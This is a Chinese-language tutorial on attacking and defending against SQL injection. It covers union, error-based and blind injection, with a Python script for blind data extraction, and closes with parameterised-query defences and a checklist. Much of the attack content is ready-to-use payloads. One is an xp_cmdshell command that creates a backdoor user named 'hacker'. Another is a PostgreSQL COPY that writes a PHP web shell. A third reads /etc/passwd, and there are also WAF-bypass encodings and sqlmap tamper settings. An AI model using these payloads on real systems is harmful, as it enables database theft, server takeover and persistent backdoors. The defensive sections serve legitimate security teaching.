SQL注入攻防实战：原理、绕过与防御-代码聚汇网

SQL注入攻防实战：原理、绕过与防御

无知的坚强

1. SQL注入攻防实战：从原理到WAF绕过

去年在一次授权渗透测试中，我发现某金融系统的转账接口存在时间盲注漏洞。这个系统部署了顶级WAF，常规测试工具全部失效。最终通过分析WAF规则，采用十六进制编码结合内联注释，耗时3天成功获取管理员凭证。这次经历让我深刻认识到，SQL注入在2025年仍是Web安全的头号威胁。

1.1 为什么SQL注入经久不衰

根据Verizon《2024年数据泄露调查报告》，SQL注入导致的 breaches 占比仍高达23%。最近某省政务云平台数据泄露事件，根源就是十年前老系统中的一处未修复的注入点。这种漏洞的顽固性源于三个特性：

技术债务累积：遗留系统往往使用拼接SQL的写法，重构成本高
攻击收益巨大：一个注入点可能泄露整个数据库
防御认知误区：很多开发者认为用了ORM框架就绝对安全

典型危害链：

plaintext复制注入点 → 数据泄露 → 横向渗透 → 服务器沦陷 → 内网漫游

2. SQL注入核心技术解析

2.1 联合查询注入实战

某次审计发现的管理系统漏洞：

http复制GET /user.php?id=1' UNION SELECT 1,@@version,3--+

返回结果包含MySQL版本信息，证实注入存在。

关键步骤解析：

用ORDER BY 4探测列数，发现报错后改为3成功
将id设为-1使原查询无结果
通过information_schema获取表结构
使用GROUP_CONCAT()合并多行结果

实际案例：

sql复制UNION SELECT 1,
(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),
3

2.2 报错注入的进阶技巧

当页面不显示数据但返回错误信息时，可利用：

sql复制AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

绕过限制的三种方法：

分段获取：substring(@@version,1,10)
多重嵌套：select extractvalue(1,concat(0x7e,(select mid(@@version,15,1)),0x7e))
替代函数：用floor(rand()*2)触发重复键错误

2.3 盲注实战优化方案

布尔盲注效率优化对比：

方法	请求次数	时间成本
逐字符	95×n	高
二分法	7×n	中
位运算	8×n	低

Python自动化脚本示例：

python复制def leak_data(query):
    result = ""
    for i in range(1,50):
        low,high = 32,126
        while low <= high:
            mid = (low+high)//2
            payload = f"AND ascii(substr(({query}),{i},1))>{mid}"
            if send_request(payload):
                low = mid +1
            else:
                high = mid -1
        result += chr(low)
    return result

3. 主流数据库注入差异

3.1 MySQL特殊技巧

文件操作：

sql复制SELECT load_file('/etc/passwd')  -- 需要FILE权限

绕过空格过滤：

sql复制SELECT/**/1,2,3
/*!50000SELECT*/1,2,3

3.2 SQL Server高危操作

命令执行链：

sql复制;EXEC sp_configure 'show advanced options',1;RECONFIGURE--
;EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'--

3.3 PostgreSQL特性利用

文件读写：

sql复制COPY (SELECT '<?php system($_GET[cmd]);?>') 
TO '/var/www/shell.php'

4. WAF绕过实战手册

4.1 编码混淆技术

多重编码组合：

plaintext复制原始：UNION SELECT
→ URL编码：%55%4e%49%4f%4e %53%45%4c%45%43%54
→ 双重编码：%25%35%35%25%34%65...

特殊字符插入：

sql复制U/**/NI/**/ON SE/**/LECT

4.2 协议层绕过

分块传输示例：

http复制POST /search.php HTTP/1.1
Transfer-Encoding: chunked

3
UNI
3
ON 
5
SELECT

4.3 SQLMap高级参数

bash复制sqlmap -u "http://target.com" --tamper=charencode --delay=2 
--level=5 --risk=3 --technique=BEUST --batch

Tamper脚本组合策略：

先使用space2comment处理空格
用randomcase混淆关键字
添加between插入冗余字符

5. 企业级防御方案

5.1 开发规范

参数化查询对比：

java复制// 错误示范
String sql = "SELECT * FROM users WHERE id = "+ input;

// 正确写法
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE id = ?");
stmt.setInt(1, Integer.parseInt(input));

5.2 架构防护

纵深防御体系：

前端：输入验证+输出编码
应用层：预编译+ORM安全配置
网络层：WAF+IPS联动
数据层：最小权限+审计日志

5.3 监控指标

注入攻击特征：

异常SQL语法（高频出现UNION、SELECT等）
参数值包含SQL关键字
相同接口短时间内大量相似请求
非常规时间段的数据库操作

6. 实战案例复盘

6.1 二次注入突破

某CMS系统漏洞链：

注册用户时昵称填入admin'--

后台查询时拼接为：

sql复制SELECT * FROM logs WHERE user='admin'-- '

绕过所有过滤直接执行

6.2 JSON接口注入

某API漏洞利用：

json复制{
  "query": "products",
  "filter": "1' UNION SELECT 1,2,3--"
}

WAF未检测JSON格式中的关键词

7. 防御检查清单

[ ] 所有SQL语句使用预编译
[ ] 数据库账号遵循最小权限
[ ] 关闭错误详情回显
[ ] 定期扫描代码中的拼接语句
[ ] WAF规则每月更新
[ ] 关键操作日志留存180天以上

8. 工具与资源

实验环境：

DVWA（Damn Vulnerable Web App）
WebGoat
SQLi-Labs

学习路径：

先掌握手工注入原理
再学习SQLMap自动化
最后研究WAF绕过技巧

某次真实渗透测试中，通过分析WAF日志发现其过滤规则存在5秒的检测延迟，于是编写脚本控制请求间隔为6秒，成功绕过防护获取到数据。这提醒我们，安全防护需要持续演进。